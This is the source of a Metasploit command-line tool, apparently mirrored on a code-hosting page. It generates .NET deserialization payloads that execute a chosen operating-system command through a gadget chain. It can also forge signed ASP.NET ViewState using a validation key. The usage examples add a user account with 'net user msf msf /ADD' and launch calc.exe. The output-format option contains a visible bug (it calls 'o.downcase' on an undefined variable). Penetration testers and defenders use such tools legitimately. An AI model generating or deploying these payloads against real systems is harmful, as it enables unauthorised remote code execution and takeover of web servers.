CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/tools/payloads/ysoserial/dot_net.rb
Views: 11781
1
#!/usr/bin/env ruby
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
msfbase = __FILE__
9
while File.symlink?(msfbase)
10
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
11
end
12
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', '..', 'lib')))
13
require 'msfenv'
14
require 'rex'
15
require 'rex/exploit/view_state'
16
require 'optparse'
17
18
DND = Msf::Util::DotNetDeserialization
19
BANNER = %Q{
20
Usage: #{__FILE__} [options]
21
22
Generate a .NET deserialization payload that will execute an operating system
23
command using the specified gadget chain and formatter.
24
25
Available formatters:
26
#{DND::Formatters::NAMES.map { |n| " * #{n}\n"}.join}
27
Available gadget chains:
28
#{DND::GadgetChains::NAMES.map { |n| " * #{n}\n"}.join}
29
Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5
30
31
Examples:
32
#{__FILE__} -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
33
#{__FILE__} -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \\
34
--viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1
35
}.strip
36
37
def puts_transform_formats
38
$stdout.puts 'Available transform formats:'
39
$stdout.puts Msf::Simple::Buffer.transform_formats.map { |n| " * #{n}\n"}.join
40
end
41
42
module YSoSerialDotNet
43
class OptsConsole
44
def self.parse(args)
45
options = {
46
formatter: DND::DEFAULT_FORMATTER,
47
gadget_chain: DND::DEFAULT_GADGET_CHAIN,
48
output_format: 'raw',
49
viewstate_generator: '',
50
viewstate_validation_algorithm: 'SHA1'
51
}
52
parser = OptionParser.new do |opt|
53
opt.banner = BANNER
54
opt.separator ''
55
opt.separator 'General options:'
56
57
opt.on('-h', '--help', 'Show this message') do
58
$stdout.puts opt
59
exit
60
end
61
62
opt.on('-c', '--command <String>', 'The command to run') do |v|
63
options[:command] = v
64
end
65
66
opt.on('-f', '--formatter <String>', "The formatter to use (default: #{DND::DEFAULT_FORMATTER})") do |v|
67
v = v.to_sym
68
unless DND::Formatters::NAMES.include?(v)
69
raise OptionParser::InvalidArgument, "#{v} is not a valid formatter"
70
end
71
72
options[:formatter] = v
73
end
74
75
opt.on('-g', '--gadget <String>', "The gadget chain to use (default: #{DND::DEFAULT_GADGET_CHAIN})") do |v|
76
v = v.to_sym
77
unless DND::GadgetChains::NAMES.include?(v)
78
raise OptionParser::InvalidArgument, "#{v} is not a valid gadget chain"
79
end
80
81
options[:gadget_chain] = v.to_sym
82
end
83
84
opt.on('-o', '--output <String>', 'The output format to use (default: raw, see: --list-output-formats)') do |v|
85
normalized = o.downcase
86
unless Msf::Simple::Buffer.transform_formats.include?(normalized)
87
raise OptionParser::InvalidArgument, "#{v} is not a valid output format"
88
end
89
90
options[:output_format] = v.downcase
91
end
92
93
opt.on('--list-output-formats', 'List available output formats, for use with --output') do |v|
94
puts_transform_formats
95
exit
96
end
97
98
opt.separator ''
99
opt.separator 'ViewState related options:'
100
101
opt.on('--viewstate-generator <String>', 'The ViewState generator string to use') do |v|
102
unless v =~ /^[a-f0-9]{8}$/i
103
raise OptionParser::InvalidArgument, 'must be 8 hex characters, e.g. DEAD1337'
104
end
105
106
options[:viewstate_generator] = [v.to_i(16)].pack('V')
107
end
108
109
opt.on('--viewstate-validation-algorithm <String>', 'The validation algorithm (default: SHA1, see: Available HMAC algorithms)') do |v|
110
normalized = v.upcase.delete_prefix('HMAC')
111
unless %w[SHA1 SHA256 SHA384 SHA512 MD5].include?(normalized)
112
raise OptionParser::InvalidArgument, "#{v} is not a valid algorithm"
113
end
114
115
# in some instances OpenSSL may not include all the algorithms that we might expect, so check for that
116
unless OpenSSL::Digest.constants.include?(normalized.to_sym)
117
raise RuntimeError, "OpenSSL does not support the #{normalized} digest"
118
end
119
120
options[:viewstate_validation_algorithm] = normalized
121
end
122
123
opt.on('--viewstate-validation-key <HexString>', 'The validationKey from the web.config file') do |v|
124
unless v =~ /^[a-f0-9]{2}+$/i
125
raise OptionParser::InvalidArgument, 'must be in hex'
126
end
127
128
options[:viewstate_validation_key] = v.scan(/../).map { |x| x.hex.chr }.join
129
end
130
end
131
132
parser.parse!(args)
133
134
if options[:command].blank?
135
raise OptionParser::MissingArgument, '-c is required'
136
end
137
138
options
139
end
140
end
141
142
class Driver
143
def initialize
144
begin
145
@opts = OptsConsole.parse(ARGV)
146
rescue OptionParser::ParseError => e
147
$stderr.puts "[x] #{e.message}"
148
exit
149
end
150
end
151
152
def run
153
$stderr.puts "Gadget chain: #{@opts[:gadget_chain]}"
154
$stderr.puts "Formatter: #{@opts[:formatter]}"
155
serialized = DND.generate(
156
@opts[:command],
157
gadget_chain: @opts[:gadget_chain],
158
formatter: @opts[:formatter]
159
)
160
161
if @opts[:viewstate_validation_key]
162
serialized = Rex::Exploit::ViewState.generate_viewstate(
163
serialized,
164
extra: @opts[:viewstate_generator],
165
algo: @opts[:viewstate_validation_algorithm],
166
key: @opts[:viewstate_validation_key]
167
)
168
end
169
170
transformed = ::Msf::Simple::Buffer.transform(serialized, @opts[:output_format])
171
$stderr.puts "Size: #{transformed.length}"
172
$stdout.puts transformed
173
end
174
end
175
end
176
177
if __FILE__ == $PROGRAM_NAME
178
driver = YSoSerialDotNet::Driver.new
179
begin
180
driver.run
181
rescue ::Exception => e
182
elog(e)
183
$stderr.puts "[x] #{e.class}: #{e.message}"
184
$stderr.puts "[*] If necessary, please refer to framework.log for more details."
185
end
186
end
187
188